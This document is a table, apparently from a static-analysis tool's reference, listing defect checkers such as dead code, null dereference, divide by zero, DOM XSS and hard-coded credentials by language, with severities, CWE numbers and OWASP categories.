| DEADCODE | Logically dead code | Control flow issues | JavaScript | The indicated dead code may have performed some action; that action will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Logically dead code | Control flow issues | Objective-C/C++ | The indicated dead code may have performed some action; that action will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Logically dead code | Control flow issues | PHP | The indicated dead code may have performed some action; that action will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Logically dead code | Control flow issues | Python | The indicated dead code may have performed some action; that action will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Logically dead code | Control flow issues | Ruby | The indicated dead code may have performed some action; that action will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Logically dead code | Control flow issues | Scala | The indicated dead code may have performed some action; that action will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Logically dead code | Control flow issues | Swift | The indicated dead code may have performed some action; that action will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Logically dead code | Control flow issues | Visual Basic | The indicated dead code may have performed some action; that action will never occur. | Medium | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Redundant test | Possible Control flow issues | C/C++ | By the time the program execution reaches the test of this condition there is only one possible outcome for the test. The code at the destination of this branch is not dead, either because this condition is always true or because there is at least one other branch that reaches it. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Redundant test | Possible Control flow issues | C# | By the time the program execution reaches the test of this condition there is only one possible outcome for the test. The code at the destination of this branch is not dead, either because this condition is always true or because there is at least one other branch that reaches it. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Redundant test | Possible Control flow issues | Java | By the time the program execution reaches the test of this condition there is only one possible outcome for the test. The code at the destination of this branch is not dead, either because this condition is always true or because there is at least one other branch that reaches it. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Redundant test | Possible Control flow issues | JavaScript | By the time the program execution reaches the test of this condition there is only one possible outcome for the test. The code at the destination of this branch is not dead, either because this condition is always true or because there is at least one other branch that reaches it. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Redundant test | Possible Control flow issues | Objective-C/C++ | By the time the program execution reaches the test of this condition there is only one possible outcome for the test. The code at the destination of this branch is not dead, either because this condition is always true or because there is at least one other branch that reaches it. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Redundant test | Possible Control flow issues | PHP | By the time the program execution reaches the test of this condition there is only one possible outcome for the test. The code at the destination of this branch is not dead, either because this condition is always true or because there is at least one other branch that reaches it. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Redundant test | Possible Control flow issues | Python | By the time the program execution reaches the test of this condition there is only one possible outcome for the test. The code at the destination of this branch is not dead, either because this condition is always true or because there is at least one other branch that reaches it. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Redundant test | Possible Control flow issues | Ruby | By the time the program execution reaches the test of this condition there is only one possible outcome for the test. The code at the destination of this branch is not dead, either because this condition is always true or because there is at least one other branch that reaches it. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Redundant test | Possible Control flow issues | Scala | By the time the program execution reaches the test of this condition there is only one possible outcome for the test. The code at the destination of this branch is not dead, either because this condition is always true or because there is at least one other branch that reaches it. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Redundant test | Possible Control flow issues | Swift | By the time the program execution reaches the test of this condition there is only one possible outcome for the test. The code at the destination of this branch is not dead, either because this condition is always true or because there is at least one other branch that reaches it. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DEADCODE | Redundant test | Possible Control flow issues | Visual Basic | By the time the program execution reaches the test of this condition there is only one possible outcome for the test. The code at the destination of this branch is not dead, either because this condition is always true or because there is at least one other branch that reaches it. | Low | Quality | 561 | 17, 18, 398, 561, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| DELETE_ARRAY | Array delete misuse | Memory - illegal accesses | C/C++ | Undefined behavior might result. | High | Quality | 459 | 17, 18, 361, 398, 399, 404, 452, 459, 635, 664, 699, 700, 710, 711, 730, 731, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| DELETE_ARRAY | Array delete misuse | Memory - illegal accesses | Objective-C/C++ | Undefined behavior might result. | High | Quality | 459 | 17, 18, 361, 398, 399, 404, 452, 459, 635, 664, 699, 700, 710, 711, 730, 731, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| DELETE_ARRAY | Incorrect delete operator | Memory - illegal accesses | C/C++ | Undefined behavior might result and destructors may not be called on objects in the array. | High | Quality | 459 | 17, 18, 361, 398, 399, 404, 452, 459, 635, 664, 699, 700, 710, 711, 730, 731, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| DELETE_ARRAY | Incorrect delete operator | Memory - illegal accesses | Objective-C/C++ | Undefined behavior might result and destructors may not be called on objects in the array. | High | Quality | 459 | 17, 18, 361, 398, 399, 404, 452, 459, 635, 664, 699, 700, 710, 711, 730, 731, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| DELETE_ARRAY | Non-array delete for objects | Resource leaks | C/C++ | Destructors will not be called on the objects in the array, this may lead to resource leaks and unexpected behavior. | High | Quality | 459 | 17, 18, 361, 398, 399, 404, 452, 459, 635, 664, 699, 700, 710, 711, 730, 731, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| DELETE_ARRAY | Non-array delete for objects | Resource leaks | Objective-C/C++ | Destructors will not be called on the objects in the array, this may lead to resource leaks and unexpected behavior. | High | Quality | 459 | 17, 18, 361, 398, 399, 404, 452, 459, 635, 664, 699, 700, 710, 711, 730, 731, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| DELETE_ARRAY | Non-array delete for scalars | Compiler dependency | C/C++ | Undefined behavior might result; however most implementations will work. | Low | Quality | 459 | 17, 18, 361, 398, 399, 404, 452, 459, 635, 664, 699, 700, 710, 711, 730, 731, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| DELETE_ARRAY | Non-array delete for scalars | Compiler dependency | Objective-C/C++ | Undefined behavior might result; however most implementations will work. | Low | Quality | 459 | 17, 18, 361, 398, 399, 404, 452, 459, 635, 664, 699, 700, 710, 711, 730, 731, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| DELETE_VOID | Deleting void pointer | Memory - illegal accesses | C/C++ | Undefined behavior might result; in practice, the memory is typically freed, but the destructor is not run. | High | Quality | 758 | 699, 710, 758, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| DELETE_VOID | Deleting void pointer | Memory - illegal accesses | Objective-C/C++ | Undefined behavior might result; in practice, the memory is typically freed, but the destructor is not run. | High | Quality | 758 | 699, 710, 758, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| DIVIDE_BY_ZERO | Division or modulo by float zero | Incorrect expression | C/C++ | This could cause an immediate crash or incorrect computation. | Medium | Quality | 369 | 17, 18, 19, 189, 369, 635, 682, 699, 711, 730, 734, 738, 739, 750, 752, 844, 848, 868, 872, 873, 884, 885, 888, 907, 977, 998, 1000, 1003 | ||
| DIVIDE_BY_ZERO | Division or modulo by float zero | Incorrect expression | C# | The expression will return either +infinity, -infinity, or NaN value. | Medium | Quality | 369 | 17, 18, 19, 189, 369, 635, 682, 699, 711, 730, 734, 738, 739, 750, 752, 844, 848, 868, 872, 873, 884, 885, 888, 907, 977, 998, 1000, 1003 | ||
| DIVIDE_BY_ZERO | Division or modulo by float zero | Incorrect expression | Java | The expression will return either +infinity, -infinity, or NaN value. | Medium | Quality | 369 | 17, 18, 19, 189, 369, 635, 682, 699, 711, 730, 734, 738, 739, 750, 752, 844, 848, 868, 872, 873, 884, 885, 888, 907, 977, 998, 1000, 1003 | ||
| DIVIDE_BY_ZERO | Division or modulo by float zero | Incorrect expression | Objective-C/C++ | This could cause an immediate crash or incorrect computation. | Medium | Quality | 369 | 17, 18, 19, 189, 369, 635, 682, 699, 711, 730, 734, 738, 739, 750, 752, 844, 848, 868, 872, 873, 884, 885, 888, 907, 977, 998, 1000, 1003 | ||
| DIVIDE_BY_ZERO | Division or modulo by zero | Integer handling issues | C/C++ | The program will have undefined behavior, likely a crash. | Medium | Quality | 369 | 17, 18, 19, 189, 369, 635, 682, 699, 711, 730, 734, 738, 739, 750, 752, 844, 848, 868, 872, 873, 884, 885, 888, 907, 977, 998, 1000, 1003 | ||
| DIVIDE_BY_ZERO | Division or modulo by zero | Integer handling issues | C# | The program will raise an exception. | Medium | Quality | 369 | 17, 18, 19, 189, 369, 635, 682, 699, 711, 730, 734, 738, 739, 750, 752, 844, 848, 868, 872, 873, 884, 885, 888, 907, 977, 998, 1000, 1003 | ||
| DIVIDE_BY_ZERO | Division or modulo by zero | Integer handling issues | Java | The program will raise an exception. | Medium | Quality | 369 | 17, 18, 19, 189, 369, 635, 682, 699, 711, 730, 734, 738, 739, 750, 752, 844, 848, 868, 872, 873, 884, 885, 888, 907, 977, 998, 1000, 1003 | ||
| DIVIDE_BY_ZERO | Division or modulo by zero | Integer handling issues | Objective-C/C++ | The program will have undefined behavior, likely a crash. | Medium | Quality | 369 | 17, 18, 19, 189, 369, 635, 682, 699, 711, 730, 734, 738, 739, 750, 752, 844, 848, 868, 872, 873, 884, 885, 888, 907, 977, 998, 1000, 1003 | ||
| DOM_XSS | DOM-based cross-site scripting | High impact security | JavaScript | A user can execute arbitrary JavaScript on a web page viewed or accessed by another user, potentially allowing session hijacking, disclosing sensitive data in the DOM, or viewing of keyboard and mouse events. | High | Security | 79 | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 | owasp-web-2017-A7: Cross-Site Scripting (XSS) | ✓ |
| EL_INJECTION | Expression language injection | High impact security | Java | An attacker can force the evaluation of EL statements to execute arbitrary code. | High | Security | 917 | 17, 18, 19, 20, 74, 77, 116, 137, 171, 254, 629, 635, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 844, 845, 868, 872, 876, 883, 888, 896, 907, 917, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| ENUM_AS_BOOLEAN | Misuse of enum | Incorrect expression | C/C++ | Multiple non-zero-valued enumeration values may inadvertently be treated as equivalent due to all being interpreted as true. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| ENUM_AS_BOOLEAN | Misuse of enum | Incorrect expression | Objective-C/C++ | Multiple non-zero-valued enumeration values may inadvertently be treated as equivalent due to all being interpreted as true. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| EVALUATION_ORDER | Evaluation order violation | Incorrect expression | C/C++ | With different compiler flags or different compilers or platforms, this code may behave differently. | Medium | Quality | 758 | 699, 710, 758, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| EVALUATION_ORDER | Evaluation order violation | Incorrect expression | Objective-C/C++ | With different compiler flags or different compilers or platforms, this code may behave differently. | Medium | Quality | 758 | 699, 710, 758, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| EXPLICIT_THIS_EXPECTED | Explicit this expected | API usage errors | JavaScript | The function call will not have its intended effect. | Medium | Quality | 628 | 227, 559, 573, 628, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| EXPOSED_PREFERENCES | Insufficient protection of data | Medium impact security | Java | Malicious applications can read or write this SharedPreferences object. | Medium | Security | 538 | 17, 18, 19, 199, 200, 361, 538, 629, 635, 664, 668, 699, 700, 717, 809, 815, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011 | ||
| FORWARD_NULL | Bad use of null-like value | Null pointer dereferences | JavaScript | If the value is null or undefined, this code will cause an exception such as a TypeError. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Bad use of null-like value | Null pointer dereferences | PHP | If the value is null or undefined, this code will cause an exception such as a TypeError. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Bad use of null-like value | Null pointer dereferences | Python | If the value is null or undefined, this code will cause an exception such as a TypeError. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Bad use of null-like value | Null pointer dereferences | Ruby | If the value is null or undefined, this code will cause an exception such as a TypeError. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Explicit null dereferenced | Null pointer dereferences | C# | A null pointer exception will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Explicit null dereferenced | Null pointer dereferences | Java | A null pointer exception will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Explicit null dereferenced | Null pointer dereferences | Scala | A null pointer exception will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Unwrapping or downcasting nil | Null pointer dereferences | Swift | A runtime error will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Explicit null dereferenced | Null pointer dereferences | Visual Basic | A null pointer exception will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Explicit null dereferenced | Null pointer dereferences | C# | A null reference exception will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Explicit null dereferenced | Null pointer dereferences | Visual Basic | A null reference exception will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Unchecked dynamic_cast | Null pointer dereferences | C# | If the dynamic_cast fails, a null pointer dereference will occur; if the dynamic_cast cannot fail, using static_cast instead offers better performance. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Unchecked TryCast | Null pointer dereferences | Visual Basic | If the TryCast fails, a null pointer dereference will occur; if the TryCast cannot fail, using DirectCast instead offers better performance. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Dereference null argument | Null pointer dereferences | Java | If the method is passed a null value, a NullPointerException will be thrown. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Dereference after null check | Null pointer dereferences | C# | Either the check against null is unnecessary, or there may be a null reference exception. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Dereference after null check | Null pointer dereferences | Java | Either the check against null is unnecessary, or there may be a null pointer exception. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Dereference after null check | Null pointer dereferences | Scala | Either the check against null is unnecessary, or there may be a null pointer exception. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Unwrapping or downcasting after nil check | Null pointer dereferences | Swift | Either the nil check is unnecessary, or a runtime error may occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Dereference after null check | Null pointer dereferences | Visual Basic | Either the check against null (Nothing) is unnecessary, or there may be a null reference exception. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Unchecked "as" conversion | Null pointer dereferences | C# | If the "as" conversion fails, a null pointer exception will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Unchecked "TryCast" conversion | Null pointer dereferences | Visual Basic | If the "TryCast" conversion fails, a null pointer exception will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Null value leads to thrown exception | Null pointer dereferences | C/C++ | An exception is thrown due to a null value. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Null value leads to thrown exception | Null pointer dereferences | C# | An exception is thrown due to a null value. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Null value leads to thrown exception | Null pointer dereferences | Objective-C/C++ | An exception is thrown due to a null value. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Null value (Nothing) leads to thrown exception | Null pointer dereferences | Visual Basic | An exception is thrown due to a null value (Nothing). | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Explicit null dereferenced | Null pointer dereferences | C/C++ | A null pointer dereference will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Explicit null dereferenced | Null pointer dereferences | Objective-C/C++ | A null pointer dereference will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Unchecked dynamic_cast | Null pointer dereferences | C/C++ | If the dynamic_cast fails, a null pointer dereference will occur; if the dynamic_cast cannot fail, using static_cast instead offers better performance. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Unchecked dynamic_cast | Null pointer dereferences | Objective-C/C++ | If the dynamic_cast fails, a null pointer dereference will occur; if the dynamic_cast cannot fail, using static_cast instead offers better performance. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Dereference after null check | Null pointer dereferences | C/C++ | Either the check against null is unnecessary, or there may be a null pointer dereference. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| FORWARD_NULL | Dereference after null check | Null pointer dereferences | Objective-C/C++ | Either the check against null is unnecessary, or there may be a null pointer dereference. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| GUARDED_BY_VIOLATION | Data race condition | Concurrent data access violations | C# | The value of the shared data will be determined by the interleaving of thread execution. | Medium | Quality | 366 | 17, 18, 361, 362, 366, 557, 567, 634, 635, 662, 664, 691, 699, 700, 734, 743, 745, 748, 750, 751, 800, 801, 820, 844, 852, 853, 867, 868, 877, 879, 882, 884, 888, 892, 894, 900, 907, 977, 984, 986, 988, 1000, 1003 | ||
| GUARDED_BY_VIOLATION | Data race condition | Concurrent data access violations | Java | The value of the shared data will be determined by the interleaving of thread execution. | Medium | Quality | 366 | 17, 18, 361, 362, 366, 557, 567, 634, 635, 662, 664, 691, 699, 700, 734, 743, 745, 748, 750, 751, 800, 801, 820, 844, 852, 853, 867, 868, 877, 879, 882, 884, 888, 892, 894, 900, 907, 977, 984, 986, 988, 1000, 1003 | ||
| GUARDED_BY_VIOLATION | Unguarded read | Concurrent data access violations | Java | The value of the shared data will be determined by the interleaving of thread execution. | Medium | Quality | 366 | 17, 18, 361, 362, 366, 557, 567, 634, 635, 662, 664, 691, 699, 700, 734, 743, 745, 748, 750, 751, 800, 801, 820, 844, 852, 853, 867, 868, 877, 879, 882, 884, 888, 892, 894, 900, 907, 977, 984, 986, 988, 1000, 1003 | ||
| GUARDED_BY_VIOLATION | Unguarded write | Concurrent data access violations | Java | The value of the shared data will be determined by the interleaving of thread execution. | Medium | Quality | 366 | 17, 18, 361, 362, 366, 557, 567, 634, 635, 662, 664, 691, 699, 700, 734, 743, 745, 748, 750, 751, 800, 801, 820, 844, 852, 853, 867, 868, 877, 879, 882, 884, 888, 892, 894, 900, 907, 977, 984, 986, 988, 1000, 1003 | ||
| HARDCODED_CREDENTIALS | Use of hard-coded connection string password | Medium impact security | C# | Users with access to this source code can use this password to access production services or data. Changing this password requires changing the code and re-deploying the application. | Medium | Security | 259 | 17, 18, 254, 255, 259, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded connection string password | Medium impact security | Java | Users with access to this source code can use this password to access production services or data. Changing this password requires changing the code and re-deploying the application. | Medium | Security | 259 | 17, 18, 254, 255, 259, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded connection string password | Medium impact security | Visual Basic | Users with access to this source code can use this password to access production services or data. Changing this password requires changing the code and re-deploying the application. | Medium | Security | 259 | 17, 18, 254, 255, 259, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| HARDCODED_CREDENTIALS | Use of hard-coded cryptographic key | Medium impact security | C/C++ | Users with access to this source code can use this key to access encrypted production data. Changing this key requires changing the code and re-deploying the application. | Medium | Security | 321 | 17, 18, 254, 255, 264, 284, 287, 310, 320, 321, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 719, 720, 723, 724, 729, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 934, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1029, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | ✓ |
